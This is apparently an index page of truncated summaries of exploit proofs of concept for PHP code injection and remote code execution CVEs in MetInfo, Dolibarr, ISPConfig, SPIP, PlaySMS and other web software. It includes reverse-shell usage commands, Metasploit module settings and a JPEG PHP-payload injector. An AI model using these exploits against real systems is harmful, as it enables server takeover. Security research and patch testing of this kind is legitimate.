MetInfo CMS <= 8.1 - Remote Code Execution

MetInfo CMS 7.9, 8.0, and 8.1 contain an unauthenticated PHP code injection vulnerability caused by insufficient input neutralization in the execution path, letting remote attackers execute arbitrary code remotely, exploit requires crafted requests. id: CVE-2026-29014 info: name: MetInfo CMS = 8....

POC-exploit-for-Dolibarr

POC exploit para Dolibarr example: python3 exploit.py http://example.com login password 127.0.0.1 9001 ---Reverse Shell Exploit for Dolibarr = 17.0.0 CVE-2023-30253--- positional arguments: hostname Target hostname username Username of Dolibarr ERP/CRM password Password of Dolibarr ERP/CRM lhost...

CVE-2022-29359

Sistema de Aplicação de Clubes Escolares Problema: Cross-Site Scripting Armazenado Não Autenticado para Injeção de HTML e RCE Autor: Zak Clifford Data: 12.04.2022 Fornecedor: https://www.sourcecodester.com/php/15266/school-club-application-system-phpoop-free-source-code.html Software:...

CVE-2024-9162

CVE-2024-9162 All-in-One WP Migration and Backup SELECT optionname,optionvalue FROM wpoptions WHERE optionname='ai1wmsecretkey'; +------------------+--------------+ | optionname | optionvalue | +------------------+--------------+ | ai1wmsecretkey | PwrqqK3UHQJo | +------------------+-------------...

CVE-2024-7094

CVE-2024-7094 CVE-2024-7094 Verificador de Vulnerabilidade Tipo de vulnerabilidade: PHP Code Injection...

CVE-2021-40904

CVE-2021-40904 - RCE via aplicação embarcada Dokuwiki do CheckMk Aplicação: Console Web de Gerenciamento CheckMK Revisão do Software: De 1.5.0 a 1.5.0p25 Tipo de ataque: RCE Solução: Atualize para a versão 1.6 ou superior. Resumo: O console de gerenciamento web do CheckMk Raw Edition versões 1.5....

php-jpeg-injector

php-jpeg-injector Injeta payloads PHP em imagens JPEG. Relacionado a esta postagem. Caso de Uso Você tem uma aplicação web que processa uma imagem JPEG através da biblioteca gráfica GD do PHP. Descrição Este script injeta código PHP em uma imagem JPEG especificada. A aplicação web executará o...

CVE-2020-8644-PlaySMS-1.4

CVE-2020-8644-PlaySMS-1.4 Script Python para explorar PlaySMS anterior à versão 1.4.3 Execução Abra uma porta na sua máquina: E então execute o exploit.py: ./exploit.py Alterando o exploit Você pode querer alterar a reverse shell criada pelo exploit.py Para fazer isso, você pode modificar a funçã...

CVE-2023-46818

CVE-2023-46818 ISPConfig - Exploit PoC de Injeção de Código PHP Bash Introdução As versões do ISPConfig = 3.2.11 são vulneráveis a uma vulnerabilidade autenticada de injeção de código PHP através do parâmetro records no endpoint /admin/languageedit.php. Um usuário administrador autenticado...

CVE-2024-7954

CVE-2024-7954 - Exploit de Execução Remota de Comandos RCE no SPIP 4.2.8 Este script explora uma vulnerabilidade de Execução Remota de Código na versão 4.2.8 do SPIP por meio do endpoint porteplumeprevisu. A vulnerabilidade permite que atacantes não autenticados injetem código PHP através da...

CVE-2023-46818

Metasploit-मॉड्यूल Metasploit मॉड्यूल use exploit/linux/http/ispconfiglanguageedit set RHOSTS target.com set USERNAME admin set PASSWORD password123 set LHOST 127.0.0.1 set LPORT 4444 exploit ISPConfig 3.2.11p1 से पहले के संस्करणों में एक समस्या पाई गई। PHP कोड इंजेक्शन भाषा फ़ाइल संपादक में...

CVE-2024-9441

Nortek Linear eMerge E3 PoC de RCE Pré-Autenticação CVE-2024-9441 Descrição: Este repositório contém uma prova de conceito PoC de exploit para o Nortek Linear eMerge E3 CVE-2024-9441, que é vulnerável a Execução Remota de Código RCE em estado de pré-autenticação. A vulnerabilidade é acionada por...

CVE-2023-46818-Exploit

CVE-2023-46818-Exploit Este é meu próprio exploit para CVE-2023-46818, feliz hackeamento! Este exploit automatiza o ataque descrito em CVE-2023-46818 ao aproveitar uma vulnerabilidade de injeção de código PHP no ISPConfig versão 3.2.11 e anteriores. Ele faz login no painel ISPConfig usando...

CVE-2023-46818-python-exploit

Exploração do CVE-2023-46818 Esta é uma versão em python do script php original para a vulnerabilidade que afeta o ispconfig 3.2.11 e versões anteriores. Fonte PHP original: https://packetstormsecurity.com/files/176126/ISPConfig-3.2.11-PHP-Code-Injection.html Esta prova de conceito destina-se...

CVE-2023-46818

CVE-2023-46818 ISPConfig - Exploit PoC de Injeção de Código PHP Bash CVE-2023-46818 Injeção de Código PHP Autenticada no ISPConfig para mais detalhes: aviso PoC do CVE-2023-46818 Introdução ISPConfig versões Nota: Este exploit requer credenciais válidas de administrador do ISPConfig e implantará ...

CVE-2023-30253-PoC

CVE-2023-30253 CVE-2023-30253 PoC Descrição Esta é minha PoC para o CVE-2023-30253 Dolibarr 17.0.0 Injeção de Código PHP, quando o plugin CMS Website core está habilitado, um atacante autenticado pode obter execução remota de comandos via injeção de código PHP, contornando as restrições da...

CVE-2023-46818

CVE-2023-46818 Um problema foi descoberto no ISPConfig anterior à versão 3.2.11p1. A injeção de código PHP pode ser realizada no editor de arquivos de idioma por um administrador se a opção adminallowlangedit estiver ativada. Uso ❯ python3 CVE-2023-46818.py Usage: python3 CVE-2023-46818.py Poc of...

CVE-2025-62429

CVE-2025-62429 PoC - clipbucket RCE Prova de Conceito para RCE via Injeção de Código PHP em updatelaunch.php Divulgação: Originalmente reportado por mim via GHSA-3h9c-7j8r-xc3v ⚠️ Uso autorizado apenas para testes de penetração/pesquisa. Informações da Vulnerabilidade Campo| Valor ---|--- CVE ID|...

CVE-2023-30253-exploit

CVE-2023-30253 — Dolibarr ERP/CRM 17.0.0 Execução Remota de Código Exploit de injeção de código PHP para Dolibarr ERP/CRM v17.0.0 que permite obter uma shell reversa como usuário www-data através do módulo Website/CMS. ⚠️ Apenas para uso educacional e auditorias com autorização. 📑 Índice O que é...

Exploit-for-Dolibarr-17.0.0-CVE-2023-30253

POC exploit para Dolibarr example: python3 exploit.py http://example.com login password 127.0.0.1 9001 ---Reverse Shell Exploit for Dolibarr = 17.0.0 CVE-2023-30253--- positional arguments: hostname Target hostname username Username of Dolibarr ERP/CRM password Password of Dolibarr ERP/CRM lhost...